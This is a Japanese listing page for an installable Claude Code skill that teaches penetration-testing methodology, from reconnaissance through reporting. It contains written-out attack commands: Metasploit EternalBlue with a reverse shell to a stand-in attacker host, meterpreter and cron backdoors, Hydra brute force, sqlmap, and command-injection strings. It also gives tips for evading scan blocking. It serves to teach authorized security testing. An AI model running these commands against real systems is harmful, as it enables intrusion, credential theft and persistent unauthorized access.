ethical-hacking-methodology について
認可を得たペネトレーションテスト向けの方法論スキルで、情報収集、スキャン、脆弱性分析、エクスプロイト、報告を扱います。Kali Linuxとセキュリティツールを前提環境とし、倫理・法的要件も示します。
主な機能
- 01ペネトレーションテスト工程の指針
- 02情報収集と対象スキャン
- 03脆弱性分析とエクスプロイト
- 04証拠の記録と報告書の構成
- 05認可と行動規範の要件
活用シーン
- 01認可済みセキュリティ評価の構成
- 02発見事項と実証記録の整理
- 03技術・経営向け報告書の作成
- 04テスト範囲と法的要件の計画
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ zebbern/ claude-code-guide --skill ethical-hacking-methodologyインストール後、Claude Code で/ethical-hacking-methodologyを入力して読み込まれたか確認します。
詳細
倫理的ハッキングの方法論
目的
偵察からレポート作成まで、ペネトレーションテストのライフサイクル全体を習得します。このスキルでは、倫理的ハッキング方法論の5つの段階、主要なツール、攻撃テクニック、そして認可されたセキュリティ評価のためのプロフェッショナルなレポート作成を扱います。
前提条件
必要な環境
- Kali Linux のインストール(永続インストールまたはライブ)
- 認可されたターゲットへのネットワークアクセス
- システム所有者からの書面による許可
必要な知識
- 基本的なネットワークの概念
- Linux コマンドラインの習熟
- Web 技術の理解
- セキュリティの概念への精通
成果物
- 偵察レポート - 収集したターゲット情報
- 脆弱性評価 - 特定された弱点
- エクスプロイトの証跡 - 概念実証(PoC)攻撃
- 最終レポート - エグゼクティブおよび技術的な所見
中核ワークフロー
フェーズ 1: ハッカーの種類の理解
セキュリティ専門家の分類:
ホワイトハット・ハッカー(倫理的ハッカー)
- 認可を受けたセキュリティ専門家
- 許可を得てペネトレーションテストを実施
- 目的: 脆弱性を特定して修正すること
- 別名: ペネトレーションテスター、セキュリティコンサルタント
ブラックハット・ハッカー(悪意のある者)
- 無許可のシステム侵入
- 利益、報復、または悪名を動機とする
- 目的: データの窃取、損害の発生
- 別名: クラッカー、犯罪者ハッカー
グレーハット・ハッカー(混合型)
- 倫理的な境界を越えることがある
- 悪意はないものの、ルールを破ることがある
- 脆弱性を公に開示することが多い
- 動機が入り混じっている
その他の分類
- スクリプトキディ: 仕組みを理解せずに既製のツールを使用する者
- ハクティビスト: 政治的または社会的な動機を持つ者
- 国家主体: 政府が支援する工作員
- コーダー: ツールやエクスプロイトを開発する者
フェーズ 2: 偵察
対象システムと直接やり取りせずに情報を収集します:
パッシブ偵察
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b all
Google ハッキング(OSINT)
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
Google Hacking Database のカテゴリ:
- パスワードを含むファイル
- 機密性の高いディレクトリ
- Web サーバーの検出
- 脆弱なサーバー
- エラーメッセージ
- ログインポータル
SNS による偵察
- LinkedIn: 組織図、使用されている技術
- Twitter: 企業の発表、従業員情報
- Facebook: 個人情報、人間関係
- 求人情報: 技術スタックの露呈
フェーズ 3: スキャン
ターゲットシステムへの能動的な列挙:
ホスト検出
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24
ポートスキャン
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
サービスの列挙
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
一般的なポートの一覧
| ポート | サービス | 備考 |
|---|---|---|
| 21 | FTP | ファイル転送 |
| 22 | SSH | セキュアシェル |
| 23 | Telnet | 暗号化されていないリモート接続 |
| 25 | SMTP | メール |
| 53 | DNS | 名前解決 |
| 80 | HTTP | Web |
| 443 | HTTPS | セキュアな Web |
| 445 | SMB | Windows 共有 |
| 3306 | MySQL | データベース |
| 3389 | RDP | リモートデスクトップ |
フェーズ 4: 脆弱性分析
悪用可能な弱点を特定します:
自動スキャン
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus (via API)
nessuscli scan --target target.com
Web アプリケーションテスト(OWASP)
- SQL インジェクション
- クロスサイトスクリプティング(XSS)
- 認証の不備
- セキュリティ設定のミス
- 機密データの露出
- XML 外部エンティティ(XXE)
- アクセス制御の不備
- 安全でないデシリアライゼーション
- 既知の脆弱性を持つコンポーネントの使用
- 不十分なログ記録と監視
手動テクニック
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
フェーズ 5: エクスプロイト
発見された脆弱性を能動的に悪用します:
Metasploit Framework
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
パスワード攻撃
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
Web エクスプロイト
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwd
フェーズ 6: アクセスの維持
永続的なアクセスを確立します:
バックドア
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
権限昇格
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -l
痕跡の消去(倫理的な文脈)
- 実施したすべての操作を文書化する
- レポート用にログを保持する
- 不必要なシステム変更を避ける
- テスト用ファイルとバックドアを削除する
Phase 7: レポート作成
調査結果を専門的に文書化します。
レポートの構成
-
エグゼクティブサマリー
- 概要レベルの調査結果
- ビジネスへの影響
- リスク評価
- 対応の優先順位
-
技術的な調査結果
- 脆弱性の詳細
- 概念実証(PoC)
- スクリーンショット/証拠
- 影響を受けるシステム
-
リスク評価
- 重大:直ちに対応が必要
- 高:24〜48時間以内に対応
- 中:1週間以内に対応
- 低:1か月以内に対応
- 情報:ベストプラクティスに関する推奨事項
-
修復の推奨事項
- 各調査結果に対する具体的な修正
- 短期的な緩和策
- 長期的な解決策
- 必要なリソース
-
付録
- 詳細なスキャン出力
- ツールの設定
- テストのタイムライン
- スコープと方法論
Phase 8: 一般的な攻撃の種類
フィッシング
- メールを利用した認証情報の窃取
- 偽のログインページ
- 悪意のある添付ファイル
- ソーシャルエンジニアリングの要素
マルウェアの種類
- ウイルス:自己複製し、ホストファイルが必要
- ワーム:ネットワーク上で自己伝播する
- トロイの木馬:正規のソフトウェアを装う
- ランサムウェア:ファイルを暗号化し、身代金を要求する
- ルートキット:システムレベルのアクセスを隠蔽する
- スパイウェア:ユーザーの活動を監視する
ネットワーク攻撃
- 中間者攻撃(MITM)
- ARP スプーフィング
- DNS ポイズニング
- DDoS(分散型サービス拒否)
Phase 9: Kali Linux のセットアップ
ペネトレーションテスト用プラットフォームをインストールします。
ハードディスクへのインストール
- kali.org から ISO をダウンロードする
- インストールメディアから起動する
- 「Graphical Install」を選択する
- 言語、地域、キーボードを設定する
- ホスト名と root パスワードを設定する
- ディスクのパーティション分割(ガイド付き - ディスク全体を使用)
- GRUB ブートローダーをインストールする
- 再起動してログインする
ライブ USB(永続化あり)
# Create bootable USB
dd if=kali-linux.iso of=/dev/sdb bs=512k status=progress
# Create persistence partition
gparted /dev/sdb
# Add ext4 partition labeled "persistence"
# Configure persistence
mkdir /mnt/usb
mount /dev/sdb2 /mnt/usb
echo "/ union" > /mnt/usb/persistence.conf
umount /mnt/usb
Phase 10: 倫理的ガイドライン
法的要件
- 書面による許可を取得する
- スコープを明確に定義する
- すべてのテスト活動を文書化する
- すべての調査結果をクライアントに報告する
- 機密性を維持する
プロフェッショナルとしての行動
- 誠実さをもって倫理的に業務を行う
- アクセスしたデータのプライバシーを尊重する
- 不必要なシステムへの損害を避ける
- 計画されたテストのみを実行する
- 調査結果を個人的な利益のために決して利用しない
クイックリファレンス
ペネトレーションテストのライフサイクル
| ステージ | 目的 | 主要なツール |
|---|---|---|
| 偵察 | 情報の収集 | theHarvester、WHOIS、Google |
| スキャン | ターゲットの列挙 | Nmap、Nikto、Gobuster |
| 悪用 | アクセスの取得 | Metasploit、SQLMap、Hydra |
| アクセスの維持 | 永続化 | Meterpreter、SSH キー |
| レポート作成 | 調査結果の文書化 | レポートテンプレート |
主要なコマンド
| コマンド | 目的 |
|---|---|
nmap -sV target | ポートおよびサービスのスキャン |
nikto -h target | Web 脆弱性スキャン |
msfconsole | Metasploit の起動 |
hydra -l user -P list ssh://target | SSH のブルートフォース攻撃 |
sqlmap -u "url?id=1" --dbs | SQL インジェクション |
制約と制限事項
許可の必要性
- 書面による許可なしにテストを行わない
- 定義されたスコープの範囲内にとどめる
- 不正なアクセスの試行は報告する
プロフェッショナルとしての基準
- 交戦規則に従う
- クライアントの機密性を維持する
- 使用した方法論を文書化する
- 実行可能な推奨事項を提供する
トラブルシューティング
スキャンがブロックされる
解決策:
- スキャン速度を遅くする
- 別のスキャン手法を試す
- プロキシまたは VPN を使用する
- パケットを分割する
エクスプロイトが失敗する
解決策:
- 対象の脆弱性が存在することを確認する
- ペイロードの互換性を確認する
- エクスプロイトのパラメータを調整する
- 別のエクスプロイトを試す